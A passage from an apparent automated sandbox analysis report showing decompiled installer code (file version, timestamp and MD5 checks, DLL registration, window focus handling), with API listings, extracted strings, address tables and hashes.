																E00455348("Installing the file.", _t848, _t971, _t974);
																E004034AC( &_v40, _v16);
																__eflags = _v9 -  *0x490239; // 0x0
																if(__eflags != 0) {
																	_v57 = 0;
																} else {
																	__eflags = _v40;
																	if(_v40 == 0) {
																		_t850 =  &_v152;
																		_t848 =  *_a8;
																		 *((intOrPtr*)( *_a8 + 0xc))();
																		__eflags = _v152;
																		if(__eflags != 0) {
																			_t850 =  &_v196;
																			_t848 =  *_a8;
																			 *((intOrPtr*)( *_a8 + 0xc))();
																			_t601 = E004511E4(_v9, _v196, __eflags);
																			__eflags = _t601;
																			if(_t601 != 0) {
																				_t850 =  &_v40;
																				_t848 =  *_a8;
																				 *((intOrPtr*)( *_a8 + 0xc))();
																			}
																		}
																	}
																	__eflags = _v40;
																	_v57 = _v40 == 0;
																}
																_t894 =  *0x48fc2c; // 0x230a718
																E004034AC( &_v32, _t894);
																E0042C888(_v44, _t850,  &_v152);
																E00451B20(_v9, _t848, 0x46b628, _v152, _t971, _t974,  &_v48); // executed
																E0042C7D8(_v48, 0x46b628,  &_v152);
																_t852 =  *0x46b630; // 0x0
																E004695BC(_v9, _t848, _t852, _v152, _t971, _t974, __eflags, _a16); // executed
																_t544 = E00451348(_v9, 1, 0, 2, 0, _v48); // executed
																_v112 = _t544;
																_push(_t976);
																_push(0x46aa11);
																_push( *[fs:eax]);
																 *[fs:eax] = _t978;
																_v56 = 1;
																_push(_t976);
																_push(0x46a961);
																_push( *[fs:eax]);
																 *[fs:eax] = _t978;
																_v17 = 1;
																_t900 =  *0x48fc50; // 0x230a8d8
																E004034AC( &_v32, _t900);
																__eflags = _v40;
																if(_v40 != 0) {
																	_t551 = E00451348(_v9, 1, 1, 0, 2, _v40); // executed
																	_v116 = _t551;
																	_push(_t976);
																	_push(0x46a950);
																	_push( *[fs:eax]);
																	 *[fs:eax] = _t978;
																	_t902 =  *0x48fc24; // 0x230a6a0
																	E004034AC( &_v32, _t902);
																	__eflags = _v36;
																	if(_v36 == 0) {
																		E0046869C(_v116, _a4, _v112);
																	} else {
																		_t355 = _v36 + 0x14; // 0x14
																		E0046869C(_v116, _t355, _v112);
																	}
																	__eflags = 0;
																	_pop(_t904);
																	 *[fs:eax] = _t904;
																	_push(0x46a957);
																	return E00402B70(_v116);
																} else {
																	E0046772C(E004670E0(), 0x46845c, _v36); // executed
																	_t907 =  *0x48fc24; // 0x230a6a0
																	E004034AC( &_v32, _t907);
																	__eflags =  *(_v8 + 0x4c) & 0x00000080;
																	E00467954(E004670E0(), _t848, _v112, _v36, _t971, _t974, (_v8 & 0xffffff00 | __eflags != 0x00000000) ^ 0x00000001, 0x46845c); // executed
																	_pop(_t909);
																	 *[fs:eax] = _t909;
																	SetFileTime( *(_v112 + 4), 0, 0,  &_v100); // executed
																	_t577 = _v8;
																	__eflags =  *((char*)(_t577 + 0x4e)) - 1;
																	if( *((char*)(_t577 + 0x4e)) == 1) {
																		_v57 = 0;
																		E00469ABC(_v112, 0x6e556e49); // executed
																		_v160 =  *((intOrPtr*)(0x48ea54 + ( *(_a16 - 9) & 0x000000ff) * 4));
																		_v156 = 0xb;
																		E00455538("Uninstaller requires administrator: %s", _t848, 0,  &_v160, _t971, _t974);
																		_t913 =  *(_a16 - 9);
																		E00468044(_v112, _t848,  *(_a16 - 9), _t971, _t974, __eflags); // executed
																		__eflags =  *0x48ffb1;
																		if(__eflags == 0) {
																			E00469AE8(_v112, 0, _t913, __eflags, _a16); // executed
																		}
																	}
																	__eflags = 0;
																	_pop(_t910);
																	 *[fs:eax] = _t910;
																	_push(0x46aa18);
																	return E00402B70(_v112);
																}
															} else {
																E00455348("User opted not to overwrite the existing file. Skipping.", _t848, _t971, _t974);
																goto L125;
															}
														}
													} else {
														E00455348("Existing file is protected by Windows File Protection. Skipping.", _t848, _t971, _t974);
														goto L125;
													}
												} else {
													_t713 = _v8;
													__eflags =  *(_t713 + 0x4a) & 0x00000080;
													if(( *(_t713 + 0x4a) & 0x00000080) == 0) {
														goto L89;
													} else {
														__eflags = _t848;
														if(_t848 == 0) {
															L82:
															E00455348("Couldn\'t read time stamp. Skipping.", _t848, _t971, _t974);
															goto L125;
														} else {
															__eflags = _v85;
															if(_v85 != 0) {
																_t718 = CompareFileTime( &_v108,  &_v100);
																__eflags = _t718;
																if(_t718 != 0) {
																	_t721 = CompareFileTime( &_v108,  &_v100);
																	__eflags = _t721;
																	if(_t721 <= 0) {
																		goto L89;
																	} else {
																		_t722 = _v8;
																		 *(_t722 + 0x4c) & 0x00000004 = (_t722 & 0xffffff00 | ( *(_t722 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86;
																		if(((_t722 & 0xffffff00 | ( *(_t722 + 0x4c) & 0x00000004) != 0x00000000) ^ 0x00000001 | _v86) != 0) {
																			L88:
																			E00455348("Existing file has a later time stamp. Skipping.", _t848, _t971, _t974);
																			goto L125;
																		} else {
																			E004034AC( &_v152, _v44);
																			E00403594( &_v152, 0x46b2bc);
																			_t944 =  *0x48fc84; // 0x230abd4
																			E00403594( &_v152, _t944);
																			_t850 = 2;
																			_t735 = E00475DF4(_v152, _t848, 2, 0, _t971, _t974, 6, 1, 4);
																			__eflags = _t735 - 7;
																			if(_t735 == 7) {
																				goto L89;
																			} else {
																				goto L88;
																			}
																		}
																	}
																} else {
																	E00455348("Same time stamp. Skipping.", _t848, _t971, _t974);
																	goto L125;
																}
															} else {
																goto L82;
															}
														}
													}
												}
											} else {
												__eflags = _v80 - _v72;
												if(_v80 != _v72) {
													goto L78;
												} else {
													_t774 = _v8;
													__eflags =  *(_t774 + 0x4b) & 0x00000008;
													if(( *(_t774 + 0x4b) & 0x00000008) != 0) {
														goto L78;
													} else {
														_t775 = _v8;
														__eflags =  *(_t775 + 0x4c) & 0x00000040;
														if(( *(_t775 + 0x4c) & 0x00000040) == 0) {
															_t776 = _v8;
															__eflags =  *(_t776 + 0x4a) & 0x00000080;
															if(( *(_t776 + 0x4a) & 0x00000080) != 0) {
																_v87 = 1;
																goto L78;
															} else {
																E00455348("Same version. Skipping.", _t848, _t971, _t974);
																goto L125;
															}
														} else {
															_t850 =  &_v148;
															_t780 = E00468644(_v9,  &_v148, _v44);
															__eflags = _t780;
															if(_t780 == 0) {
																E00455348("Failed to read existing file\'s MD5 sum. Proceeding.", _t848, _t971, _t974);
																goto L78;
															} else {
																__eflags = _v36;
																if(_v36 == 0) {
																	_t956 =  *0x48fc50; // 0x230a8d8
																	E004034AC( &_v32, _t956);
																	_t850 =  &_v132;
																	E00452E6C(_v9, _t848,  &_v132, _v16, _t974);
																	_t958 =  *0x48fc4c; // 0x230a890
																	E004034AC( &_v32, _t958);
																} else {
																	_t224 = _v36 + 0x24; // 0x24
																	_t974 = _t224;
																	memcpy( &_v132, _t974, 4 << 2);
																	_t978 = _t978 + 0xc;
																	_t971 = _t974 + 8;
																	_t850 = 0;
																}
																_t790 = E00430D5C( &_v148,  &_v132);
																__eflags = _t790;
																if(_t790 == 0) {
																	E00455348("Existing file\'s MD5 sum is different from our file. Proceeding.", _t848, _t971, _t974);
																	goto L78;
																} else {
																	E00455348("Existing file\'s MD5 sum matches our file. Skipping.", _t848, _t971, _t974);
																	goto L125;
																}
															}
														}
													}
												}
											}
										} else {
											__eflags = _v80 - _v72;
											if(_v80 <= _v72) {
												goto L60;
											} else {
												goto L57;
											}
										}
									}
								}
							}
						}
					} else {
						E00455348("Skipping due to \"onlyifdoesntexist\" flag.", _t848, _t971, _t974);
						L125:
						if(( *(_v8 + 0x4a) & 0x00000010) != 0) {
							L127:
							if(E004511E4(_v9, _v44, _t1008) != 0) {
								E00403418( &_v32);
								_t654 = _v8;
								_t1010 =  *(_t654 + 0x4a) & 0x00000020;
								if(( *(_t654 + 0x4a) & 0x00000020) == 0) {
									E00455348("Will register the file (a DLL/OCX) later.", _t848, _t971, _t974);
								} else {
									E00455348("Will register the file (a type library) later.", _t848, _t971, _t974);
								}
								_t848 = E00403B98(_t1010);
								E00403468(_t848, _t848, _v44, _t971, _t974);
								 *((char*)(_t848 + 4)) = _v9;
								 *((char*)(_t848 + 5)) = _v8 & 0xffffff00 | ( *(_v8 + 0x4a) & 0x00000020) != 0x00000000;
								 *((char*)(_t848 + 6)) = _v8 & 0xffffff00 | ( *(_v8 + 0x4b) & 0x00000040) != 0x00000000;
								E0040B384( *((intOrPtr*)(_a16 - 0x18)), _t848);
							}
						} else {
							_t671 = _v8;
							_t1008 =  *(_t671 + 0x4a) & 0x00000020;
							if(( *(_t671 + 0x4a) & 0x00000020) != 0) {
								goto L127;
							}
						}
						if(( *(_v8 + 0x4a) & 0x00000040) != 0) {
							E00403418( &_v32);
							_t1015 = _v9;
							if(_v9 == 0) {
								E00455348("Incrementing shared file count (32-bit).", _t848, _t971, _t974);
								E00452754(_t848, _v54, _v44, _t971, _t974, __eflags);
							} else {
								E00455348("Incrementing shared file count (64-bit).", _t848, _t971, _t974);
								E00452754(_t848, _v54, _v44, _t971, _t974, _t1015);
							}
							if(( *(_v8 + 0x4a) & 0x00000002) != 0) {
								__eflags = _v9;
								if(_v9 == 0) {
									_v216 = _v44;
									E00457428( *((intOrPtr*)(_a16 - 4)), _t848,  &_v216, 0x8a, _t971, _t974, 0, 0);
								} else {
									_v216 = _v44;
									E00457428( *((intOrPtr*)(_a16 - 4)), _t848,  &_v216, 0x8a, _t971, _t974, 1, 0);
								}
							} else {
								_v92 = _v92 | 0x00000008;
								if(_v9 != 0) {
									_v92 = _v92 | 0x00000400;
								}
								if(( *(_v8 + 0x4d) & 0x00000001) != 0) {
									_v92 = _v92 | 0x00000200;
								}
								_v212 = _v44;
								_v208 = _v48;
								_v204 =  *((intOrPtr*)(_v8 + 8));
								_v200 = _v52;
								E00457428( *((intOrPtr*)(_a16 - 4)), _t848,  &_v212, 0x82, _t971, _t974, _v92, 3);
							}
						}
						E00403418( &_v32);
						if(_v48 == 0) {
							E00469E68(_v9,  *((short*)(_v8 + 0x48)), _v44, _t971);
						} else {
							E00469E68(_v9,  *((short*)(_v8 + 0x48)), _v48, _t971);
						}
						_pop(_t920);
						 *[fs:eax] = _t920;
						_pop(_t921);
						 *[fs:eax] = _t921;
						_push(0x46af2e);
						_t1022 = _v56;
						if(_v56 != 0) {
							return E00450D4C(_v9, _v48, _t1022);
						}
						return 0;
					}
				}
				L152:
			}

0x00469f50
0x00469f50
0x00469f50
0x00469f51
0x00469f53
0x00469f59
0x00469f5a
0x00469f5b
0x00469f5e
0x00469f64
0x00469f6a
0x00469f6d
0x00469f70
0x00469f73
0x00469f76
0x00469f79
0x00469f7c
0x00469f7f
0x00469f82
0x00469f88
0x00469f90
0x00469f97
0x00469f98
0x00469f9d
0x00469fa0
0x00469fa8
0x00469fad
0x00469fb1
0x00469fb8
0x00469fbe
0x00469fd1
0x00469fd3
0x00469fc0
0x00469fc2
0x00469fcc
0x00469fcc
0x00469fd9
0x00469fde
0x00469fe2
0x00469fe6
0x00469fec
0x00469fef
0x00469ff5
0x00469ffb
0x0046a003
0x0046a00a
0x0046a00b
0x0046a010
0x0046a013
0x0046a018
0x0046a019
0x0046a01e
0x0046a021
0x0046a024
0x0046a02a
0x0046a031
0x0046a033
0x0046a033
0x0046a041
0x0046a043
0x0046a043
0x0046a04e
0x0046a050
0x0046a050
0x0046a05b
0x0046a05d
0x0046a05d
0x0046a06b
0x0046a06d
0x0046a06d
0x0046a077
0x0046a07c
0x0046a082
0x0046a084
0x0046a096
0x0046a09a
0x0046a0b2
0x0046a09c
0x0046a0a5
0x0046a0a5
0x0046a086
0x0046a089
0x0046a08f
0x0046a08f
0x0046a0c0
0x0046a0ce
0x0046a0d8
0x0046a0e0
0x0046a0e6
0x0046a0f3
0x0046a0fa
0x0046a102
0x0046a108
0x0046a10e
0x0046a121
0x0046a110
0x0046a115
0x0046a115
0x0046a10e
0x0046a126
0x0046a131
0x0046a145
0x0046a14c
0x0046a153
0x0046a15f
0x0046a15f
0x0046a15f
0x0046a15f
0x0046a14c
0x0046a169
0x0046a16e
0x0046a175
0x0046a17a
0x0046a17d
0x0046a17d
0x0046a185
0x0046a187
0x0046a187
0x0046a18f
0x0046a1bf
0x0046a1cd
0x0046a191
0x0046a198
0x0046a1b2
0x0046a1b2
0x0046a1b6
0x0046a19a
0x0046a19a
0x0046a1a0
0x0046a1a6
0x0046a1a6
0x0046a1bb
0x0046a1bb
0x0046a1d1
0x0046a20d
0x0046a1d3
0x0046a1dc
0x0046a1e7
0x0046a1ed
0x0046a1fa
0x0046a201
0x0046a201
0x0046a216
0x0046a743
0x0046a746
0x0046a74a
0x00000000
0x0046a74c
0x0046a74c
0x0046a750
0x00000000
0x0046a752
0x0046a757
0x00000000
0x0046a757
0x0046a750
0x0046a21c
0x0046a221
0x0046a22d
0x0046a241
0x0046a247
0x0046a24c
0x0046a25a
0x0046a25d
0x0046a261
0x0046a29d
0x0046a263
0x0046a26c
0x0046a277
0x0046a27d
0x0046a28a
0x0046a291
0x0046a291
0x0046a2a2
0x0046a2a5
0x0046a2a9
0x0046a568
0x00000000
0x0046a2af
0x0046a2af
0x0046a2b3
0x0046a2b7
0x0046a2e3
0x0046a2f9
0x0046a2b9
0x0046a2b9
0x0046a2bc
0x0046a2c3
0x0046a2cc
0x0046a2d5
0x0046a2d5
0x0046a2fc
0x0046a300
0x0046a362
0x0046a302
0x0046a306
0x0046a30c
0x0046a317
0x0046a31d
0x0046a328
0x0046a32e
0x0046a339
0x0046a33f
0x0046a356
0x0046a356
0x0046a370
0x0046a37b
0x0046a381
0x0046a386
0x0046a388
0x0046a557
0x0046a55c
0x0046a560
0x0046a562
0x0046a562
0x00000000
0x0046a38e
0x0046a392
0x0046a398
0x0046a3a3
0x0046a3a9
0x0046a3b4
0x0046a3ba
0x0046a3c5
0x0046a3cb
0x0046a3d8
0x0046a3e2
0x0046a3e7
0x0046a3eb
0x0046a405
0x0046a405
0x0046a411
0x0046a414
0x0046a463
0x0046a468
0x00000000
0x0046a416
0x0046a425
0x0046a435
0x0046a440
0x0046a446
0x0046a451
0x0046a455
0x0046a45a
0x0046a45d
0x00000000
0x00000000
0x00000000
0x00000000
0x0046a45d
0x0046a3ed
0x0046a3f0
0x0046a3f3
0x00000000
0x0046a3f5
0x0046a3f8
0x0046a3fb
0x0046a472
0x0046a475
0x0046a478
0x0046a56c
0x0046a56c
0x0046a570
0x0046a636
0x0046a639
0x0046a63e
0x0046a642
0x0046a656
0x0046a65a
0x00000000
0x0046a65c
0x0046a66b
0x0046a67b
0x0046a686
0x0046a68c
0x0046a697
0x0046a6a0
0x0046a6a3
0x0046a6b4
0x0046a6b4
0x0046a6bf
0x0046a6c1
0x0046a6c4
0x00000000
0x00000000
0x0046a6ca
0x0046a6cd
0x00000000
0x0046a6d3
0x0046a6d6
0x0046a6da
0x0046a6fd
0x0046a700
0x0046a706
0x0046a70d
0x0046a716
0x0046a71b
0x0046a71d
0x0046a730
0x0046a71f
0x0046a724
0x0046a724
0x0046a738
0x0046a73c
0x00000000
0x0046a73e
0x00000000
0x0046a73e
0x0046a6dc
0x0046a6dc
0x0046a6e5
0x0046a6ea
0x0046a6ec
0x00000000
0x0046a6ee
0x0046a6f3
0x00000000
0x0046a6f3
0x0046a6ec
0x0046a6da
0x00000000
0x0046a6cd
0x0046a761
0x0046a766
0x0046a771
0x0046a779
0x0046a77f
0x0046a7e5
0x0046a781
0x0046a781
0x0046a785
0x0046a787
0x0046a796
0x0046a798
0x0046a79b
0x0046a7a2
0x0046a7a4
0x0046a7b3
0x0046a7b5
0x0046a7c1
0x0046a7c6
0x0046a7c8
0x0046a7ca
0x0046a7d6
0x0046a7d8
0x0046a7d8
0x0046a7c8
0x0046a7a2
0x0046a7db
0x0046a7df
0x0046a7df
0x0046a7ec
0x0046a7f2
0x0046a804
0x0046a817
0x0046a829
0x0046a834
0x0046a83d
0x0046a857
0x0046a85c
0x0046a861
0x0046a862
0x0046a867
0x0046a86a
0x0046a86d
0x0046a873
0x0046a874
0x0046a879
0x0046a87c
0x0046a87f
0x0046a886
0x0046a88c
0x0046a891
0x0046a895
0x0046a8ef
0x0046a8f4
0x0046a8f9
0x0046a8fa
0x0046a8ff
0x0046a902
0x0046a908
0x0046a90e
0x0046a913
0x0046a917
0x0046a935
0x0046a919
0x0046a91c
0x0046a925
0x0046a925
0x0046a93a
0x0046a93c
0x0046a93f
0x0046a942
0x0046a94f
0x0046a897
0x0046a8a4
0x0046a8ac
0x0046a8b2
0x0046a8bf
0x0046a8d4
0x0046a959
0x0046a95c
0x0046a98b
0x0046a990
0x0046a993
0x0046a997
0x0046a999
0x0046a9a5
0x0046a9b8
0x0046a9be
0x0046a9d2
0x0046a9da
0x0046a9e0
0x0046a9e5
0x0046a9ec
0x0046a9f5
0x0046a9fa
0x0046a9ec
0x0046a9fb
0x0046a9fd
0x0046aa00
0x0046aa03
0x0046aa10
0x0046aa10
0x0046a6a5
0x0046a6aa
0x00000000
0x0046a6aa
0x0046a6a3
0x0046a644
0x0046a649
0x00000000
0x0046a649
0x0046a576
0x0046a576
0x0046a579
0x0046a57d
0x00000000
0x0046a583
0x0046a583
0x0046a585
0x0046a58d
0x0046a592
0x00000000
0x0046a587
0x0046a587
0x0046a58b
0x0046a5a4
0x0046a5a9
0x0046a5ab
0x0046a5c4
0x0046a5c9
0x0046a5cb
0x00000000
0x0046a5cd
0x0046a5cd
0x0046a5d9
0x0046a5dc
0x0046a627
0x0046a62c
0x00000000
0x0046a5de
0x0046a5ed
0x0046a5fd
0x0046a608
0x0046a60e
0x0046a619
0x0046a61d
0x0046a622
0x0046a625
0x00000000
0x00000000
0x00000000
0x00000000
0x0046a625
0x0046a5dc
0x0046a5ad
0x0046a5b2
0x00000000
0x0046a5b2
0x00000000
0x00000000
0x00000000
0x0046a58b
0x0046a585
0x0046a57d
0x0046a47e
0x0046a481
0x0046a484
0x00000000
0x0046a48a
0x0046a48a
0x0046a48d
0x0046a491
0x00000000
0x0046a497
0x0046a497
0x0046a49a
0x0046a49e
0x0046a534
0x0046a537
0x0046a53b
0x0046a54c
0x00000000
0x0046a53d
0x0046a542
0x00000000
0x0046a542
0x0046a4a4
0x0046a4a4
0x0046a4b0
0x0046a4b5
0x0046a4b7
0x0046a52d
0x00000000
0x0046a4b9
0x0046a4b9
0x0046a4bd
0x0046a4d4
0x0046a4da
0x0046a4df
0x0046a4e8
0x0046a4f0
0x0046a4f6
0x0046a4bf
0x0046a4c2
0x0046a4c2
0x0046a4cd
0x0046a4cd
0x0046a4cd
0x0046a4cd
0x0046a4cd
0x0046a504
0x0046a509
0x0046a50b
0x0046a521
0x00000000
0x0046a50d
0x0046a512
0x00000000
0x0046a512
0x0046a50b
0x0046a4b7
0x0046a49e
0x0046a491
0x0046a484
0x0046a3fd
0x0046a400
0x0046a403
0x00000000
0x00000000
0x00000000
0x00000000
0x0046a403
0x0046a3fb
0x0046a3f3
0x0046a3eb
0x0046a388
0x0046a22f
0x0046a234
0x0046ad0b
0x0046ad12
0x0046ad1d
0x0046ad2a
0x0046ad2f
0x0046ad34
0x0046ad37
0x0046ad3b
0x0046ad4e
0x0046ad3d
0x0046ad42
0x0046ad42
0x0046ad62
0x0046ad69
0x0046ad71
0x0046ad7e
0x0046ad8b
0x0046ad96
0x0046ad96
0x0046ad14
0x0046ad14
0x0046ad17
0x0046ad1b
0x00000000
0x00000000
0x0046ad1b
0x0046ada2
0x0046adab
0x0046adb0
0x0046adb4
0x0046add4
0x0046ade1
0x0046adb6
0x0046adbb
0x0046adc8
0x0046adc8
0x0046aded
0x0046ae54
0x0046ae58
0x0046ae85
0x0046ae9b
0x0046ae5a
0x0046ae61
0x0046ae77
0x0046ae77
0x0046adef
0x0046adef
0x0046adf7
0x0046adf9
0x0046adf9
0x0046ae07
0x0046ae09
0x0046ae09
0x0046ae19
0x0046ae22
0x0046ae2e
0x0046ae37
0x0046ae4d
0x0046ae4d
0x0046aded
0x0046aea3
0x0046aeac
0x0046aecf
0x0046aeae
0x0046aebb
0x0046aebb
0x0046aed6
0x0046aed9
0x0046af0a
0x0046af0d
0x0046af10
0x0046af15
0x0046af19
0x00000000
0x0046af21
0x0046af26
0x0046af26
0x0046a22d
0x00000000

APIs

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

LocalFileTimeToFileTime.KERNEL32(-00000034,?,00000000,0046AEDE,?,00000000,0046AF27,?,00000000,0046B060,?,00000000,?,00000000,?,0046BA1E), ref: 0046A1B6

Part of subcall function 00452E24: FindClose.KERNEL32(00000000,000000FF,0046A1CD,00000000,0046AEDE,?,00000000,0046AF27,?,00000000,0046B060,?,00000000,?,00000000), ref: 00452E3A

Part of subcall function 00468558: FileTimeToLocalFileTime.KERNEL32(?), ref: 00468560
Part of subcall function 00468558: FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046856F

Part of subcall function 0042C738: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C75C

Part of subcall function 00452754: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0045292B,?,00000000,004529EF), ref: 0045287B

Strings

Existing file has a later time stamp. Skipping., xrefs: 0046A627
Same version. Skipping., xrefs: 0046A53D
Same time stamp. Skipping., xrefs: 0046A5AD
Will register the file (a DLL/OCX) later., xrefs: 0046AD49
Will register the file (a type library) later., xrefs: 0046AD3D
Dest file is protected by Windows File Protection., xrefs: 0046A14E
Uninstaller requires administrator: %s, xrefs: 0046A9CD
Non-default bitness: 32-bit, xrefs: 0046A11C
Incrementing shared file count (64-bit)., xrefs: 0046ADB6
Skipping due to "onlyifdoesntexist" flag., xrefs: 0046A22F
Skipping due to "onlyifdestfileexists" flag., xrefs: 0046A752
Version of our file: (none), xrefs: 0046A35D
Time stamp of existing file: %s, xrefs: 0046A28C
Existing file is protected by Windows File Protection. Skipping., xrefs: 0046A644
Couldn't read time stamp. Skipping., xrefs: 0046A58D
Time stamp of our file: %s, xrefs: 0046A1FC
Time stamp of our file: (failed to read), xrefs: 0046A208
, xrefs: 0046A430, 0046A5F8, 0046A676
Existing file's MD5 sum is different from our file. Proceeding., xrefs: 0046A51C
Dest file exists., xrefs: 0046A21C
User opted not to overwrite the existing file. Skipping., xrefs: 0046A6A5
Stripped read-only attribute., xrefs: 0046A71F
Version of existing file: (none), xrefs: 0046A552
Non-default bitness: 64-bit, xrefs: 0046A110
Incrementing shared file count (32-bit)., xrefs: 0046ADCF
-- File entry --, xrefs: 00469FA3
Time stamp of existing file: (failed to read), xrefs: 0046A298
Existing file is a newer version. Skipping., xrefs: 0046A463
Version of existing file: %u.%u.%u.%u, xrefs: 0046A3DD
.tmp, xrefs: 0046A80F
@, xrefs: 0046A050
User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 0046A6EE
Dest filename: %s, xrefs: 0046A0F5
Failed to strip read-only attribute., xrefs: 0046A72B
Failed to read existing file's MD5 sum. Proceeding., xrefs: 0046A528
Version of our file: %u.%u.%u.%u, xrefs: 0046A351
Installing the file., xrefs: 0046A761
Existing file's MD5 sum matches our file. Skipping., xrefs: 0046A50D
InUn, xrefs: 0046A99D

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Time$File$Local$CloseFindFullNamePathQuerySystemValue
String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's MD5 sum is different from our file. Proceeding.$Existing file's MD5 sum matches our file. Skipping.$Failed to read existing file's MD5 sum. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing the file.$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
API String ID: 2131814033-2943590984
Opcode ID: 4d96f4a07e85a121b2a798242c845b596a8d0751469c611a78efc3f331a60957
Instruction ID: 2b26d2ebce0ab1b87680f01f5e8d4d1d174d7b8e5be2f55d2ae971b5cf141356
Opcode Fuzzy Hash: 4d96f4a07e85a121b2a798242c845b596a8d0751469c611a78efc3f331a60957
Instruction Fuzzy Hash: 61824D30A046489BDB11DFA5C885BDDBBB1AF05304F1440ABE844BB392E7789E45CF5B

Uniqueness

Uniqueness Score: -1.00%

Function 00423BF0 Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00423BF0(intOrPtr __eax, intOrPtr* __edx) {
				intOrPtr _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t129;
				struct HWND__* _t130;
				struct HWND__* _t133;
				void* _t134;
				struct HWND__* _t135;
				struct HWND__* _t137;
				struct HWND__* _t139;
				struct HWND__* _t142;
				intOrPtr _t143;
				intOrPtr _t153;
				struct HWND__* _t160;
				struct HWND__* _t162;
				int _t165;
				int _t168;
				struct HWND__* _t169;
				struct HWND__* _t180;
				struct HWND__* _t186;
				intOrPtr _t187;
				struct HWND__* _t190;
				intOrPtr _t191;
				int _t198;
				struct HWND__* _t202;
				struct HWND__* _t207;
				struct HWND__* _t214;
				struct HWND__* _t216;
				intOrPtr _t217;
				struct HWND__* _t219;
				intOrPtr _t225;
				struct HWND__* _t241;
				struct HWND__* _t246;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t254;
				intOrPtr _t257;
				struct HWND__* _t262;
				int _t265;
				intOrPtr _t269;
				intOrPtr* _t274;
				void* _t279;
				intOrPtr _t281;
				struct HWND__* _t285;
				struct HWND__* _t286;
				void* _t300;
				void* _t303;
				intOrPtr _t313;
				intOrPtr _t314;
				intOrPtr _t330;
				void* _t331;
				void* _t333;
				void* _t338;
				void* _t339;
				intOrPtr _t340;

				_push(_t333);
				_push(_t331);
				_v12 = __edx;
				_v8 = __eax;
				_push(_t339);
				_push(0x424140);
				_push( *[fs:edx]);
				 *[fs:edx] = _t340;
				 *(_v12 + 0xc) = 0;
				_t279 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x80)) + 8)) - 1;
				if(_t279 < 0) {
					L5:
					E00423B4C(_v8, _v12);
					_t281 =  *_v12;
					_t129 = _t281;
					__eflags = _t129 - 0x112;
					if(__eflags > 0) {
						__eflags = _t129 - 0xb017;
						if(__eflags > 0) {
							_t130 = _t129 - 0xb01a;
							__eflags = _t130;
							if(_t130 == 0) {
								_t133 = IsIconic( *(_v8 + 0x20));
								__eflags = _t133;
								if(_t133 == 0) {
									_t135 = GetFocus();
									_t314 = _v8;
									__eflags = _t135 -  *((intOrPtr*)(_t314 + 0x20));
									if(_t135 ==  *((intOrPtr*)(_t314 + 0x20))) {
										_t137 = E0041EFD8(0);
										__eflags = _t137;
										if(_t137 != 0) {
											SetFocus(_t137);
										}
									}
								}
								L87:
								_t134 = 0;
								_pop(_t313);
								 *[fs:eax] = _t313;
								goto L88;
							}
							_t139 = _t130 - 5;
							__eflags = _t139;
							if(_t139 == 0) {
								E00424834(_v8,  *(_v12 + 8),  *(_v12 + 4));
								goto L87;
							}
							_t142 = _t139 - 1;
							__eflags = _t142;
							if(_t142 == 0) {
								_t143 = _v12;
								__eflags =  *(_t143 + 4);
								if( *(_t143 + 4) != 0) {
									E00424510(_v8,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								} else {
									E004244B8(_v8, _t331, _t333,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								}
								goto L87;
							}
							__eflags = _t142 == 0x11;
							if(_t142 == 0x11) {
								_t153 = _v12;
								__eflags =  *((intOrPtr*)(_t153 + 4)) - 1;
								if( *((intOrPtr*)(_t153 + 4)) != 1) {
									 *(_v8 + 0x88) =  *(_v12 + 8);
								} else {
									 *(_v12 + 0xc) =  *(_v8 + 0x88);
								}
							} else {
								L86:
								E00423B68(_t339); // executed
							}
							goto L87;
						}
						if(__eflags == 0) {
							_t160 =  *(_v8 + 0x28);
							__eflags = _t160;
							if(_t160 != 0) {
								_t335 = _t160;
								_t162 = E004181C4(_t160);
								__eflags = _t162;
								if(_t162 != 0) {
									_t165 = IsWindowEnabled(E004181C4(_t335));
									__eflags = _t165;
									if(_t165 != 0) {
										_t168 = IsWindowVisible(E004181C4(_t335));
										__eflags = _t168;
										if(_t168 != 0) {
											 *0x48e578 = 0;
											_t169 = GetFocus();
											SetFocus(E004181C4(_t335));
											E00415224(_t335,  *(_v12 + 4), 0x112,  *(_v12 + 8));
											SetFocus(_t169);
